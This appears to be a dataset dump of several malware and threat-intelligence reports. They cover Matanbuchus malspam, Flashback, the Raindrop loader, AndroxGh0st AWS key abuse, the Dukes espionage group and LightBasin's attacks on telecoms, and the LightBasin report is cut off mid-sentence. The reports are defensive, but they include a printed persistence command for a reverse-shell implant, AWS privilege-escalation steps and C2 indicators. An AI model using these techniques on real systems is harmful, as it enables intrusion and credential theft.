text
stringlengths
8
115k
# Malspam Pushes Matanbuchus Malware, Leads to Cobalt Strike **Published:** 2022-06-17 **Last Updated:** 2022-06-17 03:54:44 UTC **by Brad Duncan** ## Introduction On Thursday 2022-06-16, threat researchers discovered a wave of malicious spam (malspam) pushing Matanbuchus malware. Today's diary reviews the activity, which led to Cobalt Strike in my lab environment. ## Email and Attachment The email attachment is a zip archive that contains an HTML file. The HTML file pretends to be a OneDrive page; however, it actually contains base64 text that is converted to a file for download. The zip archive downloaded from the HTML file contains an MSI package. ### Running the MSI Package The MSI package pretends to install an Adobe font pack. The installation process presents a fake error message. A VBS file generates the fake error message, and the Matanbuchus DLL is saved to the infected host in two different locations. **NOTE:** The Matanbuchus file `main.dll` was dropped by the .msi package, while `2100.nls` was retrieved through HTTPS traffic after `main.dll` was run. Both have the same SHA256 hash. A scheduled task keeps the Matanbuchus malware persistent. ## Traffic From an Infected Windows Host Traffic from an infected Windows host filtered in Wireshark shows the activity. ## Indicators of Compromise (IOCs) SHA256 hashes for 7 unique attachments from 14 email examples on 2022-06-16: - `72426e6b8ea42012675c07bf9a2895bcd7eae15c82343b4b71aece29d96a7b22` SCAN-016063.zip - `6b2428fcf9e3a555a3a29fc5582baa1eda15e555c1c85d7bef7ac981d76b6068` SCAN-026764.zip - `af534b21a0a0b0c09047e1f3d4f0cdd73fb37f03b745dbb42ffd2340a379dc42` SCAN-068589.zip - `b9720e833fa96fec76f492295d7a46b6f524b958278d322c4ccecdc313811f11` SCAN-231112.zip - `23fe3af756e900b5878ec685b2c80acd6f821453c03d10d23871069b23a02926` SCAN-287004.zip - `53af0319d68b0dcbf7cb37559ddfd70cce8c526614c218b5765babdc54500a49` SCAN-446993.zip - `4242064d3f62b0ded528d89032517747998d2fe9888d5feaa2a3684de2370912` SCAN-511007.zip SHA256 hashes for HTML files extracted from the above 7 zip archives: - `d0e2e92ec9d3921dc73b962354c7708f06a1a34cce67e8b67af4581adfc7aaad` SCAN-016063.html - `56ec91b8e594824a678508b694a7107d55cf9cd77a1e01a6a44993836b40ec7a` SCAN-026764.html - `cc08642ddbbb8f735a3263180164cda6cf3b73a490fc742d5c3e31130504e97c` SCAN-068589.html - `e3b98dac9c4c57a046c50ce530c79855c9fe4025a9902d0f45b0fb0394409730` SCAN-231112.html - `c117b17bf187a3d52278eb229a1f2ac8a73967d162ad0cfc55089d304b1cc8a7` SCAN-287004.html - `82add858e5a64789b26c77e5ec4608e1f162aacbc9163920a0d4aa53eb3e9713` SCAN-446993.html - `5708dced57f30ff79e789401360300fe3d5bdcf8f988ede6539b9608dfeb58fd` SCAN-511007.html SHA256 hashes for zip archives generated by the above 7 HTML files: - `63242d49d842cdf699b0ec04ad7bba8867080f8337d3e0ec7e768d10573142b3` SCAN-016063.zip - `6c5eb5d9a66200f0ab69ee49ba6411abf29840bce00ed0681ec8b48e24fd83da` SCAN-026764.zip - `ef4ea3976bad1cd68a2da2d926677c0cb04f4fc6e0b629b9a29a1c61ae984c46` SCAN-068589.zip - `19bbebd1e8ec335262e846149a893f4ce803f201e4dee7f3770d95287f9245f3` SCAN-231112.zip - `de26167160e7df91bbd992a3523ea6a82049932b947452bb58e9eed3011c769a` SCAN-287004.zip - `7f0bf9496f21050fbc1a3ce5ad35dc300f595c71ad9e73ff5fc5c06b2e35a435` SCAN-446993.zip - `1bc74dfb2142e4929244c6c7e10415664d4e71a5301eaf8e03cb426fab0876f8` SCAN-511007.zip SHA256 hashes for .msi packages extracted from the above 7 zip archives: - `face46e6593206867da39e47001f134a00385898a36b8142a21ad54954682666` SCAN-016063.pdf.msi - `e22ec74cd833a85882d5a8e76fa3b35daff0b7390bfbcd6b1ab270fd3741ceea` SCAN-026764.pdf.msi - `2d8740ea16e9457a358ebea73ad377ff75f7aa9bdf748f0d801f5a261977eda4` SCAN-068589.pdf.msi - `5dcbffef867b44bbb828cfb4a21c9fb1fa3404b4d8b6f4e8118c62addbf859da` SCAN-231112.pdf.msi - `c6e9477fd41ac9822269486c77d0f5d560ee2f558148ca95cf1de39dea034186` SCAN-287004.pdf.msi - `4fd90cf681ad260f13d3eb9e38b0f05365d3984e38cfba28f160b0f810ffd4d3` SCAN-446993.pdf.msi - `7e37d028789ab2b47bcab159da6458da2e8198617b0e7760174e4a0eea07d9c9` SCAN-511007.pdf.msi ### 32-bit DLL for Matanbuchus - **SHA256 hash:** `f8cc2cf36e193774f13c9c5f23ab777496dcd7ca588f4f73b45a7a5ffa96145e` - **File size:** 410,624 bytes - **File location:** C:\Users\[username]\AppData\Local\AdobeFontPack\main.dll - **File type:** PE32 executable (DLL) (console) Intel 80386, for MS Windows - **Run method:** regsvr32.exe [filename] **Note:** The above DLL was dropped by the .msi package, then it was also retrieved over HTTPS. The HTTPS traffic is probably a way to update the DLL, but in this case, the new file had the same file hash as the original. ### Second File Sent Over HTTPS Traffic - **SHA256 hash:** `39ec827d24fe68d341cff2a85ef0a7375e9c313064903b92d4c32c7413d84661` - **File size:** 832,128 bytes - **File type:** base64 text - **SHA256 hash:** `a5b06297d86aee3c261df7415a4fa873f38bd5573523178000d89a8d5fd64b9a` - **File size:** 605,184 bytes - **File description:** XOR-ed binary converted from the above base64 text ### Cobalt Strike Files **First Cobalt Strike file (ASCII text):** - **SHA256 hash:** `4ee7350176014c7fcb8d33a79dcb1076794a2f86e9b2348f2715ca81f011e799` - **File size:** 1,668 bytes **Second Cobalt Strike file (32-bit DLL):** - **SHA256 hash:** `6d3259011b9f2abd3b0c3dc5b609ac503392a7d8dea018b78ecd39ec097b3968` - **File size:** 16,384 bytes ## Infection Traffic Traffic for Matanbuchus DLL: - `213.226.114[.]15 port 443 (HTTPS) - telemetrysystemcollection[.]com - GET /m8YYdu/mCQ2U9/auth.aspx` Matanbuchus C2 traffic: - `213.226.114[.]15 port 48195 (HTTP) - collectiontelemetrysystem[.]com - POST /cAUtfkUDaptk/ZRSeiy/requets/index.php` Traffic caused by Matanbuchus for Cobalt Strike: - `144.208.127[.]245 port 80 - GET /cob23_443.txt` - `144.208.127[.]245 port 80 - GET /cob_220_443.dll` ## Final Words 14 email examples, a packet capture (pcap) of traffic from an infected Windows host, and the associated malware/artifacts can be found here. --- **Brad Duncan** brad [at] malware-traffic-analysis.net **Keywords:** Cobalt Strike, malspam, Matanbuchus
# Flashback (Trojan) OSX.FlashBack, also known as the Flashback Trojan, Fakeflash, or Trojan BackDoor.Flashback, is a Trojan horse affecting personal computer systems running Mac OS X. The first variant of Flashback was discovered by antivirus company Intego in September 2011. ## Infection According to the Russian antivirus company Dr. Web, a modified version of the "BackDoor.Flashback.39" variant of the Flashback Trojan had infected over 600,000 Mac computers, forming a botnet that included 274 bots located in Cupertino, California. The findings were confirmed one day later by another computer security firm, Kaspersky Lab. This variant of the malware was first detected in April 2012 by Finland-based computer security firm F-Secure. Dr. Web estimated that in early April 2012, 56.6% of infected computers were located within the United States, 19.8% in Canada, 12.8% in the United Kingdom, and 6.1% in Australia. ## Details The original variant used a fake installer of Adobe Flash Player to install the malware, hence the name "Flashback." A later variant targeted a Java vulnerability on Mac OS X. The system was infected after the user was redirected to a compromised bogus site, where JavaScript code caused an applet containing an exploit to load. An executable file was saved on the local machine, which was used to download and run malicious code from a remote location. The malware also switched between various servers for optimized load balancing. Each bot was given a unique ID that was sent to the control server. The trojan, however, would only infect the user visiting the infected web page, meaning other users on the computer were not infected unless their user accounts had been infected separately. ## Resolution Oracle, the company that develops Java, fixed the vulnerability exploited to install Flashback on February 14, 2012. However, at the time of Flashback's release, Apple maintained the Mac OS X version of Java and did not release an update containing the fix until April 3, 2012, after the flaw had already been exploited to install Flashback on 600,000 Macs. On April 12, 2015, the company issued a further update to remove the most common Flashback variants. The updated Java release was only made available for Mac OS X Lion and Mac OS X Snow Leopard; the removal utility was released for Intel versions of Mac OS X Leopard in addition to the two newer operating systems. Users of older operating systems were advised to disable Java. There are also some third-party programs to detect and remove the Flashback trojan. Apple worked on a new process that would eventually lead to a release of a Java Runtime Environment (JRE) for Mac OS X at the same time it would be available for Windows, Linux, and Solaris users. As of January 9, 2014, about 22,000 Macs were still infected with the Flashback trojan.
# 5 in China Army Face U.S. Charges of Cyberattacks Michael S. Schmidt, David E. Sanger May
# Raindrop: New Malware Discovered in SolarWinds Investigation **Threat Hunter Team, Symantec** Tool was used to spread onto other computers in victims’ networks. Symantec, a division of Broadcom (NASDAQ: AVGO), has uncovered an additional piece of malware used in the SolarWinds attacks which was used against a select number of victims that were of interest to the attackers. Raindrop (Backdoor.Raindrop) is a loader which delivers a payload of Cobalt Strike. Raindrop is very similar to the already documented Teardrop tool, but there are some key differences between the two. While Teardrop was delivered by the initial Sunburst backdoor (Backdoor.Sunburst), Raindrop appears to have been used for spreading across the victim’s network. Symantec has seen no evidence to date of Raindrop being delivered directly by Sunburst. Instead, it appears elsewhere on networks where at least one computer has already been compromised by Sunburst. ## Raindrop attacks In one victim, in early July 2020, Sunburst was installed through the SolarWinds Orion update, as has been well documented. Two computers were compromised. The following day, Teardrop was subsequently installed on one of these computers. That computer was found to have an active directory query tool, as well as a credential dumper designed specifically for SolarWinds Orion databases. The credential dumper was similar to, but not the same as, the open source Solarflare tool. Eleven days later, on a third victim computer in the organization, where no previous malicious activity had been observed, a copy of the previously unseen Raindrop was installed under the name bproxy.dll. This computer was running computer access and management software. The attackers could have used this software to access any of the computers in the compromised organization. One hour later, the Raindrop malware installed an additional file called "7z.dll". We were unable to retrieve this file; however, within hours a legitimate version of 7zip was used to extract a copy of what appeared to be Directory Services Internals (DSInternals) onto the computer. DSInternals is a legitimate tool which can be used for querying Active Directory servers and retrieving data, typically passwords, keys, or password hashes. An additional tool called mc_store.exe was later installed by the attackers on this computer. The tool is an unknown PyInstaller packaged application. No further activity was observed on this computer. ## Raindrop technical analysis Raindrop is similar to Teardrop in that both pieces of malware act as a loader for Cobalt Strike Beacon. Raindrop uses a custom packer to pack Cobalt Strike. This packer is different from the one used by Teardrop. Raindrop is compiled as a DLL, which is built from a modified version of 7-Zip source code. The 7-Zip code is not utilized and is designed to hide malicious functionality added by the attackers. The DLL is compiled where the Name file of the Export Directory Table is “7-zip.dll” and the Export Names are: - DllCanUnloadNow - DllGetClassObject - DllRegisterServer - DllUnregisterServer And one of the following, selected at random: - Tk_DistanceToTextLayout - Tk_GetScrollInfoObj - Tk_MainLoop - XGetGeometry The Export Names used seem to overlap with names used by Tcl/Tk projects. ### Custom packer Whenever the DLL is loaded, it starts a new thread from the DllMain subroutine that executes the malicious code. This malicious thread performs the following actions: - Executes some computation to delay execution. This does not affect functionality. - Locates start of the encoded payload which is embedded within legitimate 7-Zip machine code. In order to locate the start of the encoded payload, the packer uses steganography by scanning the bytes starting from the beginning of the subroutine and skipping any bytes until the first occurrence of the following bytes that represent operation codes (opcodes) of interest: ``` .data:0000000180053008 opcodes db 5, 0Dh, 15h, 1Dh, 25h, 2Dh, 35h, 3Dh, 0B8h ``` The malware will then perform the following actions: - Extract the encoded payload. This involves simply copying data from pre-determined locations that happen to correspond to immediate values of the relevant machine instructions. - Decrypt the extracted payload. This uses the AES algorithm in CBC mode. - Decompress the decrypted payload. This uses the LZMA algorithm. - Decrypt the decompressed payload. This is simple XOR with byte key and as such does not impact compression ratio. - Execute the decrypted payload as shellcode. ## Raindrop and Teardrop comparison Although Raindrop is very similar to Teardrop, there are some key differences between the tools. As mentioned previously, Raindrop uses a different packer. The packers differ in the following ways: | TEARDROP | RAINDROP | |----------|----------| | PAYLOAD FORMAT | Custom, reusing features from PE format. It may be possible to reuse the packer with a range of different payloads supplied as PE DLLs with automatic conversion. | Shellcode only. | | PAYLOAD EMBEDDING | Binary blob in data section. | Steganography, stored at pre-determined locations within the machine code. | | PAYLOAD ENCRYPTION | visualDecrypt combined with XOR using long key. | AES layer before decompression; separate XOR layer using one byte key after decompression. | | PAYLOAD COMPRESSION | None. | LZMA. | | OBFUSCATION | Reading JPEG file. Inserted blocks of junk code, some could be generated using a polymorphic engine. | Non-functional code to delay execution. | | EXPORT NAMES | Export names vary, in some cases names overlapping with Tcl/Tk projects. | Export names overlap with Tcl/Tk projects. | | STOLEN CODE | Byte-copy of machine code from pre-existing third-party components. The original code is distributed in compiled format only. | Recompiled third-party source code. | While both malware families are designed to deploy Cobalt Strike Beacon, there are differences in Cobalt Strike configuration. To date, Symantec has seen four samples of Raindrop. In three cases, Cobalt Strike was configured to use HTTPS as a communication protocol. In the fourth, it was configured to use SMB Named Pipe as a communication protocol. All three Raindrop samples using HTTPS communication follow very similar configuration patterns as previously seen in one Teardrop sample. ## Clearer picture The discovery of Raindrop is a significant step in our investigation of the SolarWinds attacks as it provides further insights into post-compromise activity at organizations of interest to the attackers. While Teardrop was used on computers that had been infected by the original Sunburst Trojan, Raindrop appeared elsewhere on the network, being used by the attackers to move laterally and deploy payloads on other computers. ## Protection/Mitigation Tools associated with these attacks will be detected and blocked on machines running Symantec Endpoint products. **File-based protection:** - Backdoor.Raindrop - Backdoor.Teardrop - Backdoor.Sunburst - Backdoor.Sunburst!gen1 - Backdoor.SuperNova **Network-based protection:** - System Infected: Sunburst Malware Activity For the latest protection updates, please visit the Symantec Protection Bulletin. ## Indicators of Compromise | SHA256 | DESCRIPTION | |--------|-------------| | f2d38a29f6727f4ade62d88d8a68de0d52a0695930b8c92437a2f9e4de92e418 | astdrvx64.dll & sddc.dll (Raindrop) | | be9dbbec6937dfe0a652c0603d4972ba354e83c06b8397d6555fd1847da36725 | bproxy.dll (Raindrop) | | 955609cf0b4ea38b409d523a0f675d8404fee55c458ad079b4031e02433fdbf3 | cbs.dll (Raindrop) | | N/A | Telemetry.Settings.dll (Likely Raindrop) | | N/A | enUS.Media.dll (Likely Raindrop) | | N/A | TelemetryStatus.dll (Likely Raindrop) | | 240ef5b8392b8c7a5a025c36a7e5b0e03e5bb0d0d1a28703bb22e6159a4fd10e | mc_store.exe (Unknown) | | f2d38a29f6727f4ade62d88d8a68de0d52a0695930b8c92437a2f9e4de92e418 | panhardware[.]com | | 955609cf0b4ea38b409d523a0f675d8404fee55c458ad079b4031e02433fdbf3 | \\.\pipe\protected_storage[REDACTED] | | be9dbbec6937dfe0a652c0603d4972ba354e83c06b8397d6555fd1847da36725 | bigtopweb[.]com | **About the Author** Threat Hunter Team, Symantec The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.
# AndroxGh0st – the Python Malware Exploiting Your AWS Keys Hackers may hijack AWS infrastructure for a number of reasons. However, the most common motives are to facilitate illicit cryptomining or spamming. While cryptomining is more profitable on infrastructure owned by somebody else, the same can also be said for SMTP abuse and spam. Over the past year, nearly a third of compromised key incidents observed by Lacework are believed to be for the purposes of spamming or malicious email campaigns. The majority of this activity has been linked to the Python malware dubbed AndroxGh0st, with at least one incident tied to an actor known as Xcatze. AndroxGh0st is a “SMTP cracker” primarily intended to scan for and parse Laravel application secrets from exposed .env files. Laravel is an open-source PHP framework, and the Laravel .env file is often targeted for its various configuration data, including AWS, SendGrid, and Twilio. AndroxGh0st has multiple features to enable SMTP abuse, including scanning, exploitation of exposed credentials and APIs, and even deployment of webshells. For AWS specifically, the malware scans for and parses AWS keys but also has the ability to generate keys for brute force attacks. However, the brute force capability is likely a novelty and is a statistically unlikely attack vector. Lacework Labs recently identified several variants of this malware in the wild. One specimen was hard-coded with the username `ses_xcatze`, which was a user created during one incident. Other versions of AndroxGh0st were found on GitHub and have alternate names and references to different handles. To avoid confusion, all related malware will be referred to as AndroxGh0st. It can be difficult to attribute source code as it may easily be modified and adapted by multiple entities. Depending on the usage, AndroxGh0st can perform one of two primary functions against acquired credentials. The most commonly observed of these is to check the email sending limit for the account to assess if it can be leveraged for spamming. This is performed with a call to `GetSendQuota`. AndroxGh0st does not perform any further reconnaissance following this API call. This is important to note because much of the activity observed by Lacework simply involves this API only, so the absence of other API calls is a strong indicator of a functionally similar malware. Also, in calling the `GetSendQuota` API, no distinction is made between valid or invalid credentials regardless of whether the API call fails. For example, an `AccessDenied` response to the `GetSendQuota` request actually validates the credentials because invalid credentials result in a token error and are not logged to CloudTrail. The other primary function is to escalate to the AWS management console. This is performed with the following automated tasks: 1. `CreateUser` - attempts to create a user with compromised credentials; the username is hardcoded in the malware. 2. `CreateLoginProfile` - creates a login profile for the new user to access the management console; the password is also hardcoded in the Python program. 3. `AttachUserPolicy` - attempts to assign admin privileges to the new user. - `arn:aws:iam::aws:policy/AdministratorAccess` 4. If previous steps are successful, the malware writes login data to a configuration file for later use. 5. `DeleteAccessKey` - deletes the original compromised key if management console access is achieved. ## In the Wild (ITW) Interesting trends emerged in source traffic involving these tactics. Lacework Labs found that approximately 68% of observed AWS activity involving SMTP abuse originated from Windows systems. Python also accounted for the vast majority of attacks, with 87% of user agents specifying a Python version. This contrasts with incidents where cryptojacking is the suspected motive. Based on ITW activity observed by Lacework, AWS attacks for the purposes of cryptojacking involve only 20% Windows systems and 50% Python applications. The following are examples of observed user agents from the majority of AWS API requests: - Boto3/1.24.13 Python/3.10.5 Windows/10 Botocore/1.27.1 - Boto3/1.24.40 Python/3.10.5 Windows/2012ServerR2 Botocore/1.27.40 - Boto3/1.24.8 Python/3.10.5 Windows/10 exec-env/EC2 Botocore/1.27.8 - Boto3/1.24.80 Python/3.7.0 Windows/10 Botocore/1.27.80 Scanning of Laravel .env configs, which is the primary credential acquisition method for AndroxGh0st, comprises a large chunk of incoming traffic observed by Lacework. From a week’s worth of web logs, we found that nearly 40% of all detections were the result of Laravel .env recon. This scanning even dwarfed other common traffic. For example, over the same period of time, there were 50 times more .env requests than there were for OAST (out-of-band application security testing), which is another common traffic source. Even more interesting was the vast majority of .env scanning (83%) used a single user agent, which was also a hardcoded user agent used for scanning by AndroxGh0st variants. Another user agent leveraged by a different AndroxGh0st variant was observed in 3% of scans. In both cases, more than 95% of the traffic seen with these user agents involved .env scanning. This means the user agents are not coincidentally associated with the activity and are almost exclusive to the .env scans and the Python malware. An additional indicator of scanning activity consists of POST data containing the string `androxgh0st`. If the malware is unable to fetch an .env file with a GET request, then it will also attempt to do so with a POST request, using `androxgh0st` as the POST data placeholder. As such, this artifact makes a good network indicator for identification of activity originating from AndroxGh0st variants. ### Xcatze As mentioned earlier, there were indications of AndroxGh0st activity performed by an actor known as Xcatze. For this activity, Lacework identified additional Windows malware by pivoting off of one of the Xcatze attack IPs - 107.182.128.11. VirusTotal reported two Windows malware binaries communicating with this host. Both of these files have detections for the RedLine stealer malware; however, these were later confirmed as variants of hack tools created by Xcatze. Xcatze tools are available on the actor’s website and are functionally similar to AndroxGh0st. Despite this, it is unclear if the Python malware can also be attributed to Xcatze. However, the prevalence of Windows-based hack tools, especially for the purposes of information stealing and SMTP abuse, may contribute to the high volume of observed attacks originating from Windows systems. ## How Can I Detect AndroxGh0st? AndroxGh0st is an attacker tool and will likely be customized, so there may be limited success with hash-based detections. Hashes for deployed webshell payloads have been listed below. AndroxGh0st .env scans may be detected by looking for the scanning user agents in combination with GETs for `/.env` or the artifact `androxgh0st` in POST data. For CloudTrail identification of AndroxGh0st and functionally similar malware, look for anomalous calls using the following APIs: - `GetSendQuota` - `CreateUser` - `CreateLoginProfile` - `AttachUserPolicy` - `DeleteAccessKey` Detection of compromised credentials can be difficult as there is often no one specific artifact that indicates a compromised key, with the exception of threat intelligence. However, threat intel is not always accurate or timely. This necessitates a different approach similar to anomaly detection. For example, the usage of APIs described in this blog may or may not be anomalous for a given environment. In consideration of other factors such as the novelty of an API, source IP, or user agent, we can provide higher severity alerts. ## IOC’s: | Indicator | Description | |------------------------------------------------------------------------------------------|--------------------------------------------------------------------| | 70f35dfd9650437229453570f53969fb1644b1d07f282645c27a3877752a68bd | AndroxGh0st Python variant – hardcoded with Xcatze username email | | f6f240dc2d32bfd83b49025382dc0a1cf86dba587018de4cd96df16197f05d88 | AndroxGh0st Python variant | | 3b04f3ae4796d77e5a458fe702612228b773bbdefbb64f20d52c574790b5c81a | AndroxGh0st Python variant | | 107.182.128.11 | Xcatze attack IP | | 319e572856a098f7beb8a07a4955e2ba823e24e31b84dfdd714bfcd5acf47a28 | Windows malware – Xcatze hacktool | | 45e051313272899973f16f5e79bf9ebe0a7f303b9dbeca13af9d65b97c59beae | Windows malware – Xcatze hacktool | | androxgh0st | Network artifact – seen in POST requests | | 94f98c908743b75f578002abe6eae36c36673924f66a5a594b1928e7cc757260 | Primary webshell payload – downloaded from Pastebin | | 61b44259ef97fd64d081f1b95f8cd140c52c73e95dadf62980c4dff78b146e5f | Alternate webshell payload, download from GitHub |
# 7 Years of Russian Cyberespionage: The Dukes ## Executive Summary This whitepaper explores the tools of the Dukes, a well-resourced, highly dedicated, and organized cyberespionage group believed to have been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making. The Dukes primarily target Western governments and related organizations, including government ministries, agencies, political think tanks, and governmental subcontractors. Their targets have also included governments of Commonwealth of Independent States members, Asian, African, and Middle Eastern governments, organizations associated with Chechen extremism, and Russian speakers engaged in the illicit trade of controlled substances. The Dukes employ a vast arsenal of malware toolsets, identified as MiniDuke, CosmicDuke, OnionDuke, CozyDuke, CloudDuke, SeaDuke, HammerDuke, and GeminiDuke. In recent years, they have engaged in biannual large-scale spear-phishing campaigns against hundreds or thousands of recipients associated with governmental institutions and affiliated organizations. These campaigns utilize a smash-and-grab approach involving a fast but noisy break-in followed by rapid data collection and exfiltration. If a compromised target is discovered to be of value, the Dukes will switch to stealthier tactics focused on persistent compromise and long-term intelligence gathering. In addition to large-scale campaigns, the Dukes continuously engage in smaller, more targeted campaigns, utilizing different toolsets. These targeted campaigns have been ongoing for at least 7 years, aligning with the known foreign and security policy interests of the Russian Federation. The Dukes rapidly react to research published about their toolsets and operations. They modify their tools to evade detection while continuing operations, showing unusual confidence in their ability to compromise targets even when their tools have been publicly exposed. ## The Story of the Dukes The story of the Dukes begins with a malware toolset called PinchDuke, which consists of multiple loaders and an information-stealer trojan. PinchDuke trojan samples contain a notable text string used as a campaign identifier by the Dukes to distinguish between multiple attack campaigns run in parallel. ### 2008: Chechnya The earliest activity attributed to the Dukes includes two PinchDuke campaigns from November 2008. These campaigns used samples created on the 5th and 12th of November 2008, with identifiers referencing Turkish websites related to Chechnya. ### Etymology: A Note on Names The Duke toolset names originated from researchers at Kaspersky Labs, who coined the term "MiniDuke" for the first Duke-related malware they found. The "Duke" part of the name was inspired by the notable Duqu threat. As researchers discovered new toolsets created by the same group, they were also given "Duke"-derived names, leading to the common reference to the threat actor as "the Dukes." ### 2009: First Known Campaigns Against the West In 2009, the Dukes targeted organizations such as the Ministry of Defense of Georgia and ministries of foreign affairs of Turkey and Uganda. Campaign identifiers revealed their interest in political matters related to the US and NATO, running campaigns targeting a US-based foreign policy think tank and a NATO exercise. ### 2010: The Emergence of CosmicDuke in the Caucasus In 2010, the Dukes migrated from PinchDuke to a new infostealer malware toolset called CosmicDuke. The first known sample of CosmicDuke was compiled on January 16, 2010, and during this period, the Dukes began experimenting with privilege escalation vulnerabilities. ### 2011: John Kasai of Klagenfurt, Austria In 2011, the Dukes expanded their arsenal of malware toolsets and C&C infrastructure, registering a large grouping of domain names under the alias "John Kasai of Klagenfurt, Austria." These domains were used in campaigns involving various malware toolsets until 2014. ### 2012: Hiding in the Shadows In 2012, the Dukes continued using and developing their tools, with CosmicDuke and MiniDuke appearing to be more active, while GeminiDuke and CozyDuke underwent significant development. ### 2013: MiniDuke Flies Too Close to the Sun In February 2013, FireEye published a blog post alerting readers to new Adobe Reader vulnerabilities being exploited in the wild. Shortly after, Kaspersky identified MiniDuke being spread using these exploits. The Dukes had been operating MiniDuke and other toolsets for over four years, and their malware had not gone undetected. ### 2013: The Curious Case of OnionDuke In 2013, the Dukes introduced OnionDuke, designed with versatility in mind. The toolset included various modules for password stealing, information gathering, and denial of service attacks. OnionDuke began using a wrapper to combine its components with legitimate applications, spreading through torrent files. ### 2013: The Dukes and Ukraine In 2013, many decoy documents used by the Dukes were related to Ukraine, but there was a drop in Ukraine-related campaigns following the country's political crisis, contrasting with other suspected Russian threat actors. ### 2013: CosmicDuke’s War on Drugs In September 2013, a CosmicDuke campaign targeted Russian speakers involved in the trade of illegal substances. This targeting was likely temporary, as no further similar targeting was observed after spring 2014. ### 2014: MiniDuke’s Rise from the Ashes In early 2014, MiniDuke activity resumed with updated components aimed at regaining stealth and undetectability. ### 2014: CosmicDuke’s Moment of Fame Following the exposure of MiniDuke, CosmicDuke received attention when F-Secure published a whitepaper about it in July 2014. The Dukes modified CosmicDuke to evade detection after its public outing. ### 2014: CozyDuke and Monkey Videos In July 2014, the first large-scale CozyDuke campaign occurred, using spear-phishing emails that impersonated common spam emails. ### 2014: OnionDuke Gets Caught Using a Malicious Tor Node In October 2014, a malicious Tor exit node was identified, which modified executables downloaded through it. This node was used to spread OnionDuke. ### 2015: The Dukes Up the Ante In January 2015, the Dukes launched a high-volume campaign, sending thousands of spear-phishing emails containing links to compromised websites hosting CozyDuke. ### 2015: CloudDuke In July 2015, the Dukes began a large-scale phishing campaign using the previously unseen CloudDuke toolset. ### 2015: Continuing Surgical Strikes with CosmicDuke The Dukes continued covert campaigns using CosmicDuke, targeting specific entities with spear-phishing emails containing malicious attachments. ## Tools and Techniques of the Dukes ### PinchDuke - **First known activity:** November 2008 - **Most recent known activity:** Summer 2010 - **C&C communication methods:** HTTP(S) - **Known toolset components:** Multiple loaders, information stealer ### GeminiDuke - **First known activity:** January 2009 - **Most recent known activity:** December 2012 - **C&C communication methods:** HTTP(S) - **Known toolset components:** Loader, information stealer, multiple persistence components ### CosmicDuke - **First known activity:** January 2010 - **Most recent known activity:** Summer 2015 - **C&C communication methods:** HTTP(S), FTP, WebDav - **Known toolset components:** Information stealer, multiple loaders, privilege escalation component, multiple persistence components ### MiniDuke - **First known activity:** Loader July 2010, Backdoor May 2011 - **Most recent known activity:** Loader: Spring 2015, Backdoor: Summer 2014 - **C&C communication methods:** HTTP(S), Twitter - **Known toolset components:** Downloader, backdoor, loader ### CozyDuke - **First known activity:** January 2010 - **Most recent known activity:** Spring 2015 - **C&C communication methods:** HTTP(S), Twitter - **Known toolset components:** Dropper, modular backdoor, multiple persistence components ### OnionDuke - **First known activity:** February 2013 - **Most recent known activity:** Spring 2015 - **C&C communication methods:** HTTP(S), Twitter - **Known toolset components:** Dropper, loader, multiple modular core components ### SeaDuke - **First known activity:** October 2014 - **Most recent known activity:** Spring 2015 - **C&C communication methods:** HTTP(S) - **Known toolset components:** Backdoor This summary encapsulates the key findings and historical context of the Dukes' cyberespionage activities over the past seven years, highlighting their tools, techniques, and operational patterns.
# A Roaming Threat to Telecommunications Companies **Jamie Harries and Dan Mayer** **October 19, 2021** LightBasin (aka UNC1945) is an activity cluster that has been consistently targeting the telecommunications sector at a global scale since at least 2016, leveraging custom tools and an in-depth knowledge of telecommunications network architectures. Recent findings highlight this cluster’s extensive knowledge of telecommunications protocols, including the emulation of these protocols to facilitate command and control (C2) and utilizing scanning/packet-capture tools to retrieve highly specific information from mobile communication infrastructure, such as subscriber information and call metadata. The nature of the data targeted by the actor aligns with information likely to be of significant interest to signals intelligence organizations. CrowdStrike Intelligence assesses that LightBasin is a targeted intrusion actor that will continue to target the telecommunications sector. This assessment is made with high confidence and is based on tactics, techniques, and procedures (TTPs), target scope, and objectives exhibited by this activity cluster. There is currently not enough available evidence to link the cluster’s activity to a specific country-nexus. ## Background CrowdStrike Services, CrowdStrike Intelligence, and Falcon OverWatch™ have investigated multiple intrusions within the telecommunications sector from a sophisticated actor tracked as the LightBasin activity cluster, also publicly known as UNC1945. Active since at least 2016, LightBasin employs significant operational security (OPSEC) measures, primarily establishing implants across Linux and Solaris servers, with a particular focus on specific telecommunications systems, and only interacting with Windows systems as needed. LightBasin’s focus on Linux and Solaris systems is likely due to the combination of critical telecommunications infrastructure running on those operating systems, in addition to the comparatively lax security measures and monitoring solutions on Linux/Solaris systems that are typically in place on Windows operating systems within an organization. LightBasin managed to initially compromise one of the telecommunication companies in a recent CrowdStrike Services investigation by leveraging external DNS (eDNS) servers — which are part of the General Packet Radio Service (GPRS) network and play a role in roaming between different mobile operators — to connect directly to and from other compromised telecommunication companies’ GPRS networks via SSH and through previously established implants. CrowdStrike identified evidence of at least 13 telecommunication companies across the world compromised by LightBasin dating back to at least 2019. ## GPRS eDNS Servers LightBasin initially accessed the first eDNS server via SSH from one of the other compromised telecommunications companies, with evidence uncovered indicative of password-spraying attempts using both extremely weak and third-party-focused passwords (e.g., huawei), potentially helping to facilitate the initial compromise. Subsequently, LightBasin deployed their SLAPSTICK PAM backdoor on the system to siphon credentials to an obfuscated text file. As part of early lateral movement operations to further their access across the network, LightBasin then pivoted to additional systems to set up more SLAPSTICK backdoors. Later, LightBasin returned to access several eDNS servers from one of the compromised telecommunications companies while deploying an ICMP traffic signalling implant tracked by CrowdStrike as PingPong under the filename `/usr/bin/pingg`, with persistence established through the modified SysVinit script `/etc/rc.d/init.d/sshd` through the following additional line: ``` cd /usr/bin && nohup ./pingg >/dev/null 2>&1 & ``` This implant waits for a magic ICMP echo request, which, when sent to the system, established a TCP reverse shell to an IP address and port specified within the magic packet. The `/bin/bash` process spawned by PingPong masquerades under the process name `httpd`. eDNS servers are usually protected from general external internet access by firewalls; the magic packet that PingPong listens for would most likely have to be sent from other compromised GPRS network infrastructure. CrowdStrike Services observed reverse shells that had been spawned from this implant, which communicated with a server owned by a different compromised telecommunications company in another part of the world — typically connecting to the remote system on TCP port 53, which is the port primarily used for DNS. These efforts further indicate the actor’s continued attempts to disguise their activity as legitimate traffic. Alongside the deployment of the PingPong implant, LightBasin added `iptables` rules to the eDNS server that ensured SSH access to the server from five of the compromised telecommunications companies. The actor also replaced the 